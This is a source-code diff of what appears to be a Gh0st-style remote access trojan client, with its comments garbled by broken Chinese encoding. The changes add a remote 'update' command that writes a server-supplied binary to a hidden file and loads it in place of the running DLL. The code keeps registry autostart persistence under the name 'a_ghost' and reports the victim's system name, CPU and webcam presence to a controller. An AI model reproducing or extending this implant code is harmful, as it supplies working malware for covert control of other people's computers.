printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
delete [] DeCompressedBuffer;
|
delete [] DeCompressedBuffer;
|
||||||
throw "Bad Buffer";
|
throw "Bad Buffer";
|
||||||
@@ -278,11 +278,17 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
delete [] DeCompressedBuffer;
|
delete [] DeCompressedBuffer;
|
||||||
|
#if _DEBUG
|
||||||
|
printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
else
|
else {
|
||||||
|
printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}catch(...) {
|
}catch(...) {
|
||||||
|
m_CompressedBuffer.ClearBuffer();
|
||||||
printf("[ERROR] OnServerReceiving catch an error \n");
|
printf("[ERROR] OnServerReceiving catch an error \n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,11 +30,11 @@ public:
|
|||||||
IOCPClient(bool exit_while_disconnect = false);
|
IOCPClient(bool exit_while_disconnect = false);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
SOCKET m_sClientSocket;
|
SOCKET m_sClientSocket;
|
||||||
|
CBuffer m_CompressedBuffer;
|
||||||
BOOL m_bWorkThread;
|
BOOL m_bWorkThread;
|
||||||
HANDLE m_hWorkThread;
|
HANDLE m_hWorkThread;
|
||||||
|
|
||||||
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
|
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
|
||||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
|
|||||||
@@ -5,6 +5,10 @@
|
|||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <corecrt_io.h>
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() {
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||||
|
{
|
||||||
|
if (size > 32 * 1024 * 1024) {
|
||||||
|
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
strcpy(p + 1, "ServerDll.new");
|
||||||
|
if (_access(path, 0)!=-1)
|
||||||
|
{
|
||||||
|
DeleteFileA(path);
|
||||||
|
}
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
||||||
|
std::string filePath = path;
|
||||||
|
std::ofstream outFile(filePath, std::ios::binary);
|
||||||
|
|
||||||
|
if (!outFile)
|
||||||
|
{
|
||||||
|
std::cerr << "Failed to open or create the file: " << filePath << std::endl;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
outFile.write(data, size);
|
||||||
|
|
||||||
|
if (outFile.good())
|
||||||
|
{
|
||||||
|
std::cout << "Binary data written successfully to " << filePath << std::endl;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
std::cerr << "Failed to write data to file." << std::endl;
|
||||||
|
outFile.close();
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
|
||||||
|
outFile.close();
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
|
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||||
|
{
|
||||||
|
std::cout << "File created and set to hidden: " << filePath << std::endl;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_UPDATE:
|
||||||
|
{
|
||||||
|
if (m_ulThreadCount != -1) {
|
||||||
|
delete m_hThread[m_ulThreadCount].p;
|
||||||
|
m_hThread[m_ulThreadCount].p = NULL;
|
||||||
|
}
|
||||||
|
ULONGLONG size=0;
|
||||||
|
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||||
|
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||||
|
extern BOOL g_bExit;
|
||||||
|
g_bExit = 3;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
OutputDebugStringA("======> Error operator\n");
|
OutputDebugStringA("======> Error operator\n");
|
||||||
|
|||||||
@@ -2,6 +2,9 @@
|
|||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <string>
|
#include <string>
|
||||||
|
#include <iostream>
|
||||||
|
#include <iomanip>
|
||||||
|
#include <ctime>
|
||||||
|
|
||||||
/************************************************************************
|
/************************************************************************
|
||||||
---------------------
|
---------------------
|
||||||
@@ -122,10 +125,39 @@ std::string getSystemName()
|
|||||||
return vname;
|
return vname;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string formatTime(const FILETIME& fileTime) {
|
||||||
|
// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
|
||||||
|
ULARGE_INTEGER ull;
|
||||||
|
ull.LowPart = fileTime.dwLowDateTime;
|
||||||
|
ull.HighPart = fileTime.dwHighDateTime;
|
||||||
|
|
||||||
|
// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
|
||||||
|
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||||||
|
|
||||||
|
// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::tm* localTime = std::localtime(&startTime);
|
||||||
|
char buffer[100];
|
||||||
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string getProcessTime() {
|
||||||
|
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
|
||||||
|
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||||||
|
return formatTime(creationTime);
|
||||||
|
}
|
||||||
|
std::time_t now = std::time(nullptr);
|
||||||
|
std::tm* t = std::localtime(&now);
|
||||||
|
char buffer[100];
|
||||||
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||||
{
|
{
|
||||||
LOGIN_INFOR LoginInfor = {0};
|
LOGIN_INFOR LoginInfor;
|
||||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||||
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||||
@@ -148,9 +180,8 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
|||||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||||
LoginInfor.dwSpeed = dwSpeed;
|
LoginInfor.dwSpeed = dwSpeed;
|
||||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||||
LoginInfor.ClientAddr = ClientAddr.sin_addr;
|
|
||||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||||
|
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||||
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||||
|
|
||||||
return iRet;
|
return iRet;
|
||||||
|
|||||||
@@ -5,17 +5,6 @@
|
|||||||
|
|
||||||
#pragma comment(lib,"Vfw32.lib")
|
#pragma comment(lib,"Vfw32.lib")
|
||||||
|
|
||||||
typedef struct _LOGIN_INFOR
|
|
||||||
{
|
|
||||||
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
|
|
||||||
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
|
||||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
|
||||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
|
||||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
|
||||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
|
||||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
|
||||||
|
|
||||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
|
||||||
DWORD CPUClockMHz();
|
DWORD CPUClockMHz();
|
||||||
BOOL WebCamIsExist();
|
BOOL WebCamIsExist();
|
||||||
|
|||||||
@@ -4,10 +4,15 @@
|
|||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
#include "common/commands.h"
|
#include "common/commands.h"
|
||||||
|
|
||||||
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
|
#define REG_NAME "a_ghost"
|
||||||
|
|
||||||
typedef void (*StopRun)();
|
typedef void (*StopRun)();
|
||||||
|
|
||||||
typedef bool (*IsStoped)();
|
typedef bool (*IsStoped)();
|
||||||
|
|
||||||
|
typedef BOOL (*IsExit)();
|
||||||
|
|
||||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
StopRun stop = NULL;
|
StopRun stop = NULL;
|
||||||
|
|
||||||
@@ -15,7 +20,7 @@ StopRun stop = NULL;
|
|||||||
IsStoped bStop = NULL;
|
IsStoped bStop = NULL;
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||||
IsStoped bExit = NULL;
|
IsExit bExit = NULL;
|
||||||
|
|
||||||
BOOL status = 0;
|
BOOL status = 0;
|
||||||
|
|
||||||
@@ -87,6 +92,9 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
|
||||||
|
BOOL Run(const char* argv1, int argv2);
|
||||||
|
|
||||||
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||||
// [settings]
|
// [settings]
|
||||||
// localIp=XXX
|
// localIp=XXX
|
||||||
@@ -94,32 +102,80 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
if(!SetSelfStart(argv[0], "a_ghost"))
|
if(!SetSelfStart(argv[0], REG_NAME))
|
||||||
{
|
{
|
||||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||||
}
|
}
|
||||||
status = 0;
|
status = 0;
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
char path[_MAX_PATH], *p = path;
|
|
||||||
|
do {
|
||||||
|
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP),
|
||||||
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort));
|
||||||
|
if (ret == 1) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} while (status == 0);
|
||||||
|
|
||||||
|
status = 0;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.
|
||||||
|
BOOL Run(const char* argv1, int argv2) {
|
||||||
|
BOOL result = FALSE;
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p+1, "ServerDll.dll");
|
*(p + 1) = 0;
|
||||||
|
std::string folder = path;
|
||||||
|
std::string oldFile = folder + "ServerDll.old";
|
||||||
|
std::string newFile = folder + "ServerDll.new";
|
||||||
|
strcpy(p + 1, "ServerDll.dll");
|
||||||
|
BOOL ok = TRUE;
|
||||||
|
if (_access(newFile.c_str(), 0) != -1) {
|
||||||
|
if (_access(oldFile.c_str(), 0) != -1)
|
||||||
|
{
|
||||||
|
if (!DeleteFileA(oldFile.c_str()))
|
||||||
|
{
|
||||||
|
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
|
||||||
|
ok = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||||
|
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||||
|
ok = FALSE;
|
||||||
|
}else {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
|
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||||
|
{
|
||||||
|
std::cout << "File created and set to hidden: " << oldFile << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||||
|
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||||
|
MoveFileA(oldFile.c_str(), path);// recover
|
||||||
|
}else if (ok){
|
||||||
|
std::cout << "Using new file: " << newFile << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
HMODULE hDll = LoadLibraryA(path);
|
HMODULE hDll = LoadLibraryA(path);
|
||||||
typedef void (*TestRun)(char* strHost,int nPort);
|
typedef void (*TestRun)(char* strHost, int nPort);
|
||||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
|
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||||
if (run)
|
if (run)
|
||||||
{
|
{
|
||||||
char *ip = g_ConnectAddress.szServerIP;
|
char* ip = g_ConnectAddress.szServerIP;
|
||||||
int &port = g_ConnectAddress.iPort;
|
int& port = g_ConnectAddress.iPort;
|
||||||
strcpy(p + 1, "settings.ini");
|
strcpy(p + 1, "settings.ini");
|
||||||
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
|
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
|
||||||
ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
|
strcpy(ip, argv1);
|
||||||
port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
|
port = argv2;
|
||||||
} else {
|
}
|
||||||
|
else {
|
||||||
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
|
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
|
||||||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
|
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
|
||||||
}
|
}
|
||||||
@@ -127,17 +183,25 @@ int main(int argc, const char *argv[])
|
|||||||
do
|
do
|
||||||
{
|
{
|
||||||
run(ip, port);
|
run(ip, port);
|
||||||
while(bStop && !bStop() && 0 == status)
|
while (bStop && !bStop() && 0 == status)
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
} while (bExit && !bExit() && 0 == status);
|
} while (bExit && !bExit() && 0 == status);
|
||||||
|
|
||||||
while(bStop && !bStop() && 1 == status)
|
while (bStop && !bStop() && 1 == status)
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
|
if (bExit) {
|
||||||
|
result = bExit();
|
||||||
|
}
|
||||||
|
if (!FreeLibrary(hDll)) {
|
||||||
|
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>.\n");
|
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||||
Sleep(3000);
|
Sleep(3000);
|
||||||
}
|
}
|
||||||
status = 0;
|
return result;
|
||||||
return -1;
|
|
||||||
}
|
}
|
||||||
@@ -1,11 +1,19 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include <vcruntime_string.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#ifndef _MAX_PATH
|
#ifndef _MAX_PATH
|
||||||
#define _MAX_PATH 260
|
#define _MAX_PATH 260
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#define FLAG_FINDEN 0x1234567
|
#define FLAG_FINDEN 0x1234567
|
||||||
|
|
||||||
|
#define FLAG_GHOST 0x7654321
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#define DLL_VERSION "20241228" // DLL<4C>汾
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
@@ -78,6 +86,7 @@ enum
|
|||||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
COMMAND_REGEDIT,
|
COMMAND_REGEDIT,
|
||||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||||
|
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||||
@@ -133,4 +142,37 @@ typedef struct CONNECT_ADDRESS
|
|||||||
unsigned long dwFlag;
|
unsigned long dwFlag;
|
||||||
char szServerIP[_MAX_PATH];
|
char szServerIP[_MAX_PATH];
|
||||||
int iPort;
|
int iPort;
|
||||||
|
const char* ServerIP()const {
|
||||||
|
return szServerIP;
|
||||||
|
}
|
||||||
|
int ServerPort()const {
|
||||||
|
return iPort;
|
||||||
|
}
|
||||||
|
void SetServer(const char* ip, int port) {
|
||||||
|
strcpy_s(szServerIP, ip);
|
||||||
|
iPort = port;
|
||||||
|
}
|
||||||
} CONNECT_ADDRESS ;
|
} CONNECT_ADDRESS ;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
|
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||||
|
